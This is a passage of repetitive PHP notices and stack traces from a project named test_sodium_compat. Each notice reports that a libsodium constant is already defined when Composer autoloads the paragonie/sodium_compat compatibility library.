PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 26
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 27
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 28
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 29
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 30
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 31
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 32
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 33
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 34
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 35
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 36
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 37
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 38
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 39
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 42
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 43
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 44
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 45
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 46
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 47
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 48
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 49
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 50
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 51
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 52
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 53
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 54
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 55
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 56
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 57
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 58
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 59
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 60
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 61
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 62
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 63
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 64
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 65
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 66
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 67
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 68
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 69
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 70
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
